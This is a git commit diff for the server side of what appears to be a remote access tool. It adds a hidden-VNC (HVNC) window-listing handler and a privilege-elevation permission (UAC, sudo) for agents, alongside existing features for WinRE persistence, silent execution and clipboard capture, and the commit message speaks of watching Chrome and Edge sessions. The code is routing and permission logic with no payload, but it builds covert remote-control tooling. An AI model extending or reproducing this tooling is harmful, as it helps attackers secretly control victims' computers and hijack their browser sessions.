add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).

This commit is contained in:
KingKDot
2026-05-20 15:26:41 -05:00
parent 7e84ae8fb7
commit ea77515aa3
17 changed files with 683 additions and 23 deletions
+2
View File
@@ -98,6 +98,7 @@ import {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
@@ -687,6 +688,7 @@ async function startServer() {
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
+4
View File
@@ -87,6 +87,10 @@ const PERMISSIONS = {
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
roles: ["admin"],
},
"clients:elevate": {
description: "Elevate agent privileges (UAC on Windows, sudo on macOS)",
roles: ["admin"],
},
"clients:winre": {
description: "Install or uninstall WinRE persistence on clients",
roles: ["admin"],
@@ -878,16 +878,13 @@ export async function handleClientRoutes(
});
} else if (action === "elevate") {
try {
requirePermission(user, "clients:silent-exec");
requirePermission(user, "clients:elevate");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const password = typeof body?.password === "string" ? body.password : "";
if (!password) {
return new Response("Bad request: password required", { status: 400 });
}
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
@@ -914,7 +911,7 @@ export async function handleClientRoutes(
action: AuditAction.COMMAND,
targetClientId: targetId,
success: true,
details: "elevate (sudo)",
details: "elevate",
});
try {
@@ -157,6 +157,7 @@ type WsLifecycleDeps = {
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -733,6 +734,9 @@ export async function handleWebSocketMessage(
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
break;
case "hvnc_window_list_result":
deps.handleHVNCWindowListResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
@@ -806,6 +806,47 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
}
}
export function handleHVNCWindowListResult(clientId: string, payload: any) {
const windows: Array<{
title: string; x: number; y: number; width: number; height: number;
pid: number; processName: string; monitor: number;
}> = [];
if (Array.isArray(payload.windows)) {
for (const w of payload.windows) {
windows.push({
title: String(w.title || ""),
x: Number(w.x) || 0,
y: Number(w.y) || 0,
width: Number(w.width) || 0,
height: Number(w.height) || 0,
pid: Number(w.pid) || 0,
processName: String(w.processName || ""),
monitor: Number(w.monitor ?? -1),
});
}
}
const monitors: Array<{
index: number; name: string; x: number; y: number;
width: number; height: number; primary: boolean;
}> = [];
if (Array.isArray(payload.monitors)) {
for (const m of payload.monitors) {
monitors.push({
index: Number(m.index) || 0,
name: String(m.name || ""),
x: Number(m.x) || 0,
y: Number(m.y) || 0,
width: Number(m.width) || 0,
height: Number(m.height) || 0,
primary: !!m.primary,
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
@@ -1092,6 +1133,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
break;
case "hvnc_window_list":
sendHVNCCommand(target, "hvnc_window_list", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
+1
View File
@@ -37,6 +37,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"hvnc_browser_launch_status",
"hvnc_window_list_result",
"clipboard_content",
"proxy_data",
"proxy_close",